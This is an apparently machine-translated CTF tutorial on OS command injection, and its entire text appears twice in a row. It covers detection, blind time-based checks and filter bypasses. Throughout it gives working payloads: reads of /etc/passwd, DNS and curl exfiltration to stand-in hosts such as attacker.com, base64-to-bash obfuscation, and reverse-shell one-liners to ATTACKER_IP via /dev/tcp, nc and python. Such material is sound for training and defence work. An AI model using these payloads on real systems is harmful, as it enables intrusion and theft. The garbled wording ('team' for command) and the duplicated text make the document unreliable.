Mechanics OS command injection: what to break and why
Command injection (CWE-78, Improper Neutralization of Special Elements used in an OS Command) is a situation where the application designs a system command from custom input without neutralizing special characters. According to the CWE classification, this is a subsidiary type CWE-77 (Command Injection) and CWE-74 (Injection), and through the CanAlsoBe relation is associated with CWE-88 (Argument Injection) - when the same vulnerability is manifested not by inserting a new command, but by the substitution of arguments existing. In OWASP Top 10 (2021), the command is included in the category A03 – Injection: “An application is to vulnerable to when the user-supplied data is not validated, filtered, or sanitized.” More information in our material about creating ctf tasks.
In CTF command, the injection is almost always a web application that tugs the system utility. The backend takes the user input and puts it in the line for system(), exec(), shell_exec(), os.popen(), subprocess.run() with shell=True or child_process.exec(). According to MITRE ATT&CK, this technique Exploit Public-Facing Application (T1190, Initial Access), and the execution of commands — Unix Shell (T1059.004, for Linux/macOS) or Windows Command Shell (T1059.003) in Execution tactics.
A classic example of a vulnerable PHP code from the HTB Academy course:
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
Parameter filename placed in the team touch without shielding. Significance test; cat /etc/passwd turns the team into touch /tmp/test; cat /etc/passwd.pdf - both are executed.
The difference between CWE-78 and CWE-88 is critical for the CTF. If the app is using escapeshellcmd() in PHP, it can be protected from inserting new commands, but remains vulnerable to injection argument. Example from OWASP Command Injection Defense Cheat Sheet: system("curl " . escapeshellcmd($payload)) with payload dummy.txt -exec id ; when using with find allows you to perform id through the argument -exec. On the CTF, if the filter shields the dividers - check the argument operation through -exec in find, --output in curl or --config in various utilities. Many in this place give up, and in vain.
Why is it outside the CTF
CVE-2019-25224: vulnerability in the WP Database Backup plugin for WordPress (versions up to 5.2). Through function mysqldump The unauthenticated attacker could execute arbitrary commands. CVSS 9.8 (CRITICAL), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — network access, low complexity, no privileges. EPSS 0.2142 (97th percentile – top 3% in probability of actual operation). According to CISA Vulnrichment, the vulnerability is automated (Automatable: yes) with a complete technical impact (Technical Impact: total). Pattern one in one - custom input in the system team without sanitization. The fact that on the CTF is a task on glasses, in the production - RCE from one request.
Recognizing Vulnerable Endpoints in CTF Web Tasks
Typical entry points
Vulnerable functionality in CTF is disguised as a useful utility. What to look at:
Network utilities — ping, nslookup, traceroute, whois. Field for IP or domain
File operations — conversion of formats (PDF, images through ImageMagick/convert), heche generation (md5sum), archiving (tar, zip)
System information — disk check, uptime, list of processes
Text processing — grep by logs, data sorting, file search
From write-up RSM (EN-5): the task offered to enter a string to get a MD5 hash. Trailing hyphen (-) after the hash, he gave out that the utility was spinning on the backend md5sum with a pipe from echo. The author restored the structure of the team (echo <input> | md5sum) and picked up a payload test; ls; to execute an arbitrary command between echo and md5sum.
Pay attention to artifacts: 64 bytes from → ping, hyphen after hex-line → md5sum, JPEG headers → convert/ImageMagick. These little things are like fingerprints of a system utility.
Team dividers are the first intelligence
Before assembling complex payloads, you need to find out which dividers are not filtered. Both OSs work: &, &&, |, ||. For Unix only: ;, translation of the line (%0a). Inline-substitution: `cmd` and $(cmd).
Method of overkill:
Send a valid input, record a normal answer
For each divider, substitute a harmless command-marker: 127.0.0.1; echo XCANARYX, 127.0.0.1 | echo XCANARYX, 127.0.0.1 $(echo XCANARYX), 127.0.0.1 `echo XCANARYX`
Look for a marker XCANARYX in the answer - found, the divider works
No output – go to time-based (section below)
The nuance on which even experienced players stumble (from write-up to PortSwigger Labs, EN-4): in the body of the POST request & need URL-code as %26, otherwise the server interprets it as a form parameter divider. The gap – %20 or +, point with comma — %3b. Final payload & echo test & in the POST request looks like host=%26%20echo%20test%20%26. Burp Suite encodes automaticskis in Repeater, but when working with curl – encode with your hands.
Operation direct command injection
Step-by-step disassembly: from detection to flag
Task: form «Host check», POST on /api/ping, parameter host=127.0.0.1. The answer is standard ping.
Step 1: confirmation. In Burp Repeater send host=127.0.0.1%3b+id (point with semicolon + id). See uid=33(www-data) – injection confirmed.
Step 2: Intelligence. Sequence of commands after confirmation: - ls / → File system structure (T1083, File and Directory Discovery) - cat /etc/passwd → accounts (T1552.001, Credentials In Files) - uname -a → version of the kernel (T1082, System Information Discovery) - find / -name "flag*" 2>/dev/null → search for a file with flag - env | grep -i flag → checking the environment variables (often the flag is there)
Step 3: reading the flag. When the file is found — host=127.0.0.1%3b+cat+/home/ctf/flag.txt. Total 4-6 requests in Burp.
Don't rush straight to cat /flag.txt. In the CTF flag lies in /root/, /opt/, /home/user/, in a database, in an environment variable, or is only available through an interactive program. First, intelligence, then reading.
Blind command injection: when there is no withdrawal
Blind variants are more common – developers rarely display system calls in HTTP response. Example: a feedback form where the email entered enters the command mail The result is not returned to the client. And here begins interesting.
Time-based detection
Payload & ping -c 10 127.0.0.1 & will cause a delay of ~10 seconds. If the response time is consistently proportional to the number of packages, the injection is confirmed. Alternative: & sleep 5 &. For Windows: ping -n 10 127.0.0.1 (flag -n instead of -c).
From write-up EN-4 - a revealing point: the author found that to trigger the delay had to be set & sleep 10 & simultaneously in parameters email and subject – only one parameter did not delay. Morality: Go over all the fields of the form, not only the obvious.
Output Redirect and OOB Exfiltration
Record in webroot. If the application gives static files from /var/www/images/ or /var/www/static/, redirect the output to the file: & whoami > /var/www/images/output.txt &. Then request GET /images/output.txt. In write-up EN-4 the author used & whoami > /var/www/images/bubba & (fully URL-coded as %26%20whoami%20%3E%20%2fvar%2fwww%2fimages%2fbubba%20%26) and received username through image request. Simple and elegant.
DNS-exfiltration. When you can not write a file (read-only filesystem): & nslookup `whoami`.your-server.com & – result whoami will become a subdomain in the DNS request. On your server, intercept it through tcpdump -i eth0 port 53 or use interactsh from ProjectDiscovery.
HTTP channel. & curl http://your-server:8080/`id` & – the result of the command will come to the URL of the query to your listener (python3 -m http.server 8080). Note: curl here is used for OOB-exfiltration of data (transmission of command output via HTTP request) - in GTFOBins curl is documented for download/upload/file-read/file-write/library-load, but not for reverse shell.
Typical OOB-payload by YesWeHack (EN-1): curl "$(uname).attacker.com:9999" – hostname of the victim is transmitted via DNS/HTTP to the controlled server.
Bypassing the command injection filters in CTF
Medium and hard level tasks always contain filters. It is not the knowledge of payloads that is checked, but the ability to analyze what is blocked and how to get around it.
Blacklists of commands and symbols
If the filter blocks specific commands by exact line match:
Alternative teams. Instead of cat - head, tail, less, more, tac, nl, xxd, base64. Instead of ls - dir, find . -maxdepth 1, echo *. Instead of id - whoami, groups. This is the first line of circumvention, and surprisingly often it is enough.
Obfuscation with quotes and backlashes. Bash ignores single and double quotes inside the team name: w'h'o'am'i, w"h"o"am"i, \w\h\o\a\m\i All three are equivalent whoami. The filter with the exact coincidence of their exact coincidence will miss them.
Concatention through variables. a=who;b=ami;$a$b – bash assembles a team from the parts. The filter can't see whoami as a whole line.
Base64. echo d2hvYW1p | base64 -d | bash – decodes and executes. The utility base64 There are almost all Linux systems.
Reverse line. $(rev<<<'imaohw') – turns into whoami.
Bypassing space filtering and ANSI-C notation
If the filter blocks spaces (0x20): - ${IFS} – Internal Field Separator: cat${IFS}/etc/passwd - Brace expansion: {cat,/etc/passwd} – bash will reveal in cat /etc/passwd - Tabulation %09 – URL-coded tab instead of space - Redirecting input: cat</etc/passwd – operator < does not require a gap
ANSI-C notation is one of the most powerful techniques, and about it few people remember at competitions. Described in write-up to YesWeHack Dojo CTF #36 (EN-2): filter PreProd_Sanitize passed the input without letters (re.search(r'[a-zA-Z_*^@%+=:,./-]', s) is None), but shielded any alphabetical symbol. The author used $'...'-syntax with eight escape sequences. ls recorded as $'\154\163' – bash interprets \154 How l and \163 How s. Works in bash and zsh. In ash (BusyBox, Alpine Linux) support $'...' depends on the assembly – you need a flag CONFIG_ASH_BASH_COMPAT, which is not included in all images. Check empirically.
In the same write-up, the author first bypassed the authorization through SQL LIKE with payload %a% in the token parameter - operator % in LIKE works as a wildcard, coinciding with any string. This returned the user's record dev from the database and switched the application to a vulnerable sanitization function. Two-stage attack: access broken control + command injection to obtain RCE. Beautiful.
Hex-coding. bash<<<$(xxd -r -p<<<776861616d69) – a similar approach to bypass text filters. The utility xxd (from the vim packet) decodes the hex string into binary data.
Wildcards. If the filter blocks specific paths: /???/??t /??c/p??s?? equivalently /bin/cat /etc/passwd. The question mark replaces one arbitrary symbol. Looks like an abracadabra, and works.
Reverse shell via command injection
Getting a reverse shell is the final stage of operation, when simply reading files is not enough (the flag is available through an interactive program or requires privilege increases for T1005, Data from Local System).
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'
On the attacker’s side is a listener: nc -lvnp 4444. After connection - a full-fledged shell for exploration.
Nuances for CTF environments: in minimal Docker containers often there is no nc, neither curl. Python is usually present. Through the command injection, the entire payload needs to be coded – Burp Suite will do it automatically. Some CTF platforms block outgoing connections – then the reverse shell will not work, and you will have to use the record in the file or OOB through the DNS (through nslookup). After receiving shell — find / -perm -4000 2>/dev/null (SUID binary for privesc, technique T1505.003).
Tools and order of action for CTF
Commix – sharpened for automatic detection and operation command injection. Supports classic, blind (time-based) and file-based techniques. For quick inspection: commix --url="http://target/ping" --data="host=127.0.0.1". Does not replace manual work, but saves time on the selection of dividers.
Burp Suite Intruder — download the payload list from PayloadsAllTheThings (Cont Command Injection) and drive away all the dividers in one run. In Repeater it is convenient to debug specific payloads.
PayloadsAllTheThings – open-source repository with categorized payloads. Section Command Injection/README.md contains dividers, filter bypasses, reverse shells with division by OS. Keep it open in the second tab – useful.
Checklist on the task:
Determine the entry point — form, GET/POST-parameter, title, cookie
Record the normal answer (baseline)
Select the dividers: ;, |, ||, &, &&, $(cmd), `cmd`, %0a
No conclusion? Time-based — sleep 5 or ping -c 5 127.0.0.1
There is a conclusion - intelligence: id, ls /, find / -name "flag*" 2>/dev/null, env
Filter? Determine what is blocked — commands, spaces, special characters, letters
Choose a round - quotes, $IFS, base64, ANSI-C, wildcards
Need a shell? Reverse shell via bash/nc/python
Read the flag — cat, head, base64 /path/to/flag
Command injection (CWE-78, Improper Neutralization of Special Elements used in an OS Command) is a situation where the application designs a system command from custom input without neutralizing special characters. According to the CWE classification, this is a subsidiary type CWE-77 (Command Injection) and CWE-74 (Injection), and through the CanAlsoBe relation is associated with CWE-88 (Argument Injection) - when the same vulnerability is manifested not by inserting a new command, but by the substitution of arguments existing. In OWASP Top 10 (2021), the command is included in the category A03 – Injection: “An application is to vulnerable to when the user-supplied data is not validated, filtered, or sanitized.” More information in our material about creating ctf tasks.
In CTF command, the injection is almost always a web application that tugs the system utility. The backend takes the user input and puts it in the line for system(), exec(), shell_exec(), os.popen(), subprocess.run() with shell=True or child_process.exec(). According to MITRE ATT&CK, this technique Exploit Public-Facing Application (T1190, Initial Access), and the execution of commands — Unix Shell (T1059.004, for Linux/macOS) or Windows Command Shell (T1059.003) in Execution tactics.
A classic example of a vulnerable PHP code from the HTB Academy course:
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
Parameter filename placed in the team touch without shielding. Significance test; cat /etc/passwd turns the team into touch /tmp/test; cat /etc/passwd.pdf - both are executed.
The difference between CWE-78 and CWE-88 is critical for the CTF. If the app is using escapeshellcmd() in PHP, it can be protected from inserting new commands, but remains vulnerable to injection argument. Example from OWASP Command Injection Defense Cheat Sheet: system("curl " . escapeshellcmd($payload)) with payload dummy.txt -exec id ; when using with find allows you to perform id through the argument -exec. On the CTF, if the filter shields the dividers - check the argument operation through -exec in find, --output in curl or --config in various utilities. Many in this place give up, and in vain.
Why is it outside the CTF
CVE-2019-25224: vulnerability in the WP Database Backup plugin for WordPress (versions up to 5.2). Through function mysqldump The unauthenticated attacker could execute arbitrary commands. CVSS 9.8 (CRITICAL), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — network access, low complexity, no privileges. EPSS 0.2142 (97th percentile – top 3% in probability of actual operation). According to CISA Vulnrichment, the vulnerability is automated (Automatable: yes) with a complete technical impact (Technical Impact: total). Pattern one in one - custom input in the system team without sanitization. The fact that on the CTF is a task on glasses, in the production - RCE from one request.
Recognizing Vulnerable Endpoints in CTF Web Tasks
Typical entry points
Vulnerable functionality in CTF is disguised as a useful utility. What to look at:
Network utilities — ping, nslookup, traceroute, whois. Field for IP or domain
File operations — conversion of formats (PDF, images through ImageMagick/convert), heche generation (md5sum), archiving (tar, zip)
System information — disk check, uptime, list of processes
Text processing — grep by logs, data sorting, file search
From write-up RSM (EN-5): the task offered to enter a string to get a MD5 hash. Trailing hyphen (-) after the hash, he gave out that the utility was spinning on the backend md5sum with a pipe from echo. The author restored the structure of the team (echo <input> | md5sum) and picked up a payload test; ls; to execute an arbitrary command between echo and md5sum.
Pay attention to artifacts: 64 bytes from → ping, hyphen after hex-line → md5sum, JPEG headers → convert/ImageMagick. These little things are like fingerprints of a system utility.
Team dividers are the first intelligence
Before assembling complex payloads, you need to find out which dividers are not filtered. Both OSs work: &, &&, |, ||. For Unix only: ;, translation of the line (%0a). Inline-substitution: `cmd` and $(cmd).
Method of overkill:
Send a valid input, record a normal answer
For each divider, substitute a harmless command-marker: 127.0.0.1; echo XCANARYX, 127.0.0.1 | echo XCANARYX, 127.0.0.1 $(echo XCANARYX), 127.0.0.1 `echo XCANARYX`
Look for a marker XCANARYX in the answer - found, the divider works
No output – go to time-based (section below)
The nuance on which even experienced players stumble (from write-up to PortSwigger Labs, EN-4): in the body of the POST request & need URL-code as %26, otherwise the server interprets it as a form parameter divider. The gap – %20 or +, point with comma — %3b. Final payload & echo test & in the POST request looks like host=%26%20echo%20test%20%26. Burp Suite encodes automaticskis in Repeater, but when working with curl – encode with your hands.
Operation direct command injection
Step-by-step disassembly: from detection to flag
Task: form «Host check», POST on /api/ping, parameter host=127.0.0.1. The answer is standard ping.
Step 1: confirmation. In Burp Repeater send host=127.0.0.1%3b+id (point with semicolon + id). See uid=33(www-data) – injection confirmed.
Step 2: Intelligence. Sequence of commands after confirmation: - ls / → File system structure (T1083, File and Directory Discovery) - cat /etc/passwd → accounts (T1552.001, Credentials In Files) - uname -a → version of the kernel (T1082, System Information Discovery) - find / -name "flag*" 2>/dev/null → search for a file with flag - env | grep -i flag → checking the environment variables (often the flag is there)
Step 3: reading the flag. When the file is found — host=127.0.0.1%3b+cat+/home/ctf/flag.txt. Total 4-6 requests in Burp.
Don't rush straight to cat /flag.txt. In the CTF flag lies in /root/, /opt/, /home/user/, in a database, in an environment variable, or is only available through an interactive program. First, intelligence, then reading.
Blind command injection: when there is no withdrawal
Blind variants are more common – developers rarely display system calls in HTTP response. Example: a feedback form where the email entered enters the command mail The result is not returned to the client. And here begins interesting.
Time-based detection
Payload & ping -c 10 127.0.0.1 & will cause a delay of ~10 seconds. If the response time is consistently proportional to the number of packages, the injection is confirmed. Alternative: & sleep 5 &. For Windows: ping -n 10 127.0.0.1 (flag -n instead of -c).
From write-up EN-4 - a revealing point: the author found that to trigger the delay had to be set & sleep 10 & simultaneously in parameters email and subject – only one parameter did not delay. Morality: Go over all the fields of the form, not only the obvious.
Output Redirect and OOB Exfiltration
Record in webroot. If the application gives static files from /var/www/images/ or /var/www/static/, redirect the output to the file: & whoami > /var/www/images/output.txt &. Then request GET /images/output.txt. In write-up EN-4 the author used & whoami > /var/www/images/bubba & (fully URL-coded as %26%20whoami%20%3E%20%2fvar%2fwww%2fimages%2fbubba%20%26) and received username through image request. Simple and elegant.
DNS-exfiltration. When you can not write a file (read-only filesystem): & nslookup `whoami`.your-server.com & – result whoami will become a subdomain in the DNS request. On your server, intercept it through tcpdump -i eth0 port 53 or use interactsh from ProjectDiscovery.
HTTP channel. & curl http://your-server:8080/`id` & – the result of the command will come to the URL of the query to your listener (python3 -m http.server 8080). Note: curl here is used for OOB-exfiltration of data (transmission of command output via HTTP request) - in GTFOBins curl is documented for download/upload/file-read/file-write/library-load, but not for reverse shell.
Typical OOB-payload by YesWeHack (EN-1): curl "$(uname).attacker.com:9999" – hostname of the victim is transmitted via DNS/HTTP to the controlled server.
Bypassing the command injection filters in CTF
Medium and hard level tasks always contain filters. It is not the knowledge of payloads that is checked, but the ability to analyze what is blocked and how to get around it.
Blacklists of commands and symbols
If the filter blocks specific commands by exact line match:
Alternative teams. Instead of cat - head, tail, less, more, tac, nl, xxd, base64. Instead of ls - dir, find . -maxdepth 1, echo *. Instead of id - whoami, groups. This is the first line of circumvention, and surprisingly often it is enough.
Obfuscation with quotes and backlashes. Bash ignores single and double quotes inside the team name: w'h'o'am'i, w"h"o"am"i, \w\h\o\a\m\i All three are equivalent whoami. The filter with the exact coincidence of their exact coincidence will miss them.
Concatention through variables. a=who;b=ami;$a$b – bash assembles a team from the parts. The filter can't see whoami as a whole line.
Base64. echo d2hvYW1p | base64 -d | bash – decodes and executes. The utility base64 There are almost all Linux systems.
Reverse line. $(rev<<<'imaohw') – turns into whoami.
Bypassing space filtering and ANSI-C notation
If the filter blocks spaces (0x20): - ${IFS} – Internal Field Separator: cat${IFS}/etc/passwd - Brace expansion: {cat,/etc/passwd} – bash will reveal in cat /etc/passwd - Tabulation %09 – URL-coded tab instead of space - Redirecting input: cat</etc/passwd – operator < does not require a gap
ANSI-C notation is one of the most powerful techniques, and about it few people remember at competitions. Described in write-up to YesWeHack Dojo CTF #36 (EN-2): filter PreProd_Sanitize passed the input without letters (re.search(r'[a-zA-Z_*^@%+=:,./-]', s) is None), but shielded any alphabetical symbol. The author used $'...'-syntax with eight escape sequences. ls recorded as $'\154\163' – bash interprets \154 How l and \163 How s. Works in bash and zsh. In ash (BusyBox, Alpine Linux) support $'...' depends on the assembly – you need a flag CONFIG_ASH_BASH_COMPAT, which is not included in all images. Check empirically.
In the same write-up, the author first bypassed the authorization through SQL LIKE with payload %a% in the token parameter - operator % in LIKE works as a wildcard, coinciding with any string. This returned the user's record dev from the database and switched the application to a vulnerable sanitization function. Two-stage attack: access broken control + command injection to obtain RCE. Beautiful.
Hex-coding. bash<<<$(xxd -r -p<<<776861616d69) – a similar approach to bypass text filters. The utility xxd (from the vim packet) decodes the hex string into binary data.
Wildcards. If the filter blocks specific paths: /???/??t /??c/p??s?? equivalently /bin/cat /etc/passwd. The question mark replaces one arbitrary symbol. Looks like an abracadabra, and works.
Reverse shell via command injection
Getting a reverse shell is the final stage of operation, when simply reading files is not enough (the flag is available through an interactive program or requires privilege increases for T1005, Data from Local System).
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'
On the attacker’s side is a listener: nc -lvnp 4444. After connection - a full-fledged shell for exploration.
Nuances for CTF environments: in minimal Docker containers often there is no nc, neither curl. Python is usually present. Through the command injection, the entire payload needs to be coded – Burp Suite will do it automatically. Some CTF platforms block outgoing connections – then the reverse shell will not work, and you will have to use the record in the file or OOB through the DNS (through nslookup). After receiving shell — find / -perm -4000 2>/dev/null (SUID binary for privesc, technique T1505.003).
Tools and order of action for CTF
Commix – sharpened for automatic detection and operation command injection. Supports classic, blind (time-based) and file-based techniques. For quick inspection: commix --url="http://target/ping" --data="host=127.0.0.1". Does not replace manual work, but saves time on the selection of dividers.
Burp Suite Intruder — download the payload list from PayloadsAllTheThings (Cont Command Injection) and drive away all the dividers in one run. In Repeater it is convenient to debug specific payloads.
PayloadsAllTheThings – open-source repository with categorized payloads. Section Command Injection/README.md contains dividers, filter bypasses, reverse shells with division by OS. Keep it open in the second tab – useful.
Checklist on the task:
Determine the entry point — form, GET/POST-parameter, title, cookie
Record the normal answer (baseline)
Select the dividers: ;, |, ||, &, &&, $(cmd), `cmd`, %0a
No conclusion? Time-based — sleep 5 or ping -c 5 127.0.0.1
There is a conclusion - intelligence: id, ls /, find / -name "flag*" 2>/dev/null, env
Filter? Determine what is blocked — commands, spaces, special characters, letters
Choose a round - quotes, $IFS, base64, ANSI-C, wildcards
Need a shell? Reverse shell via bash/nc/python
Read the flag — cat, head, base64 /path/to/flag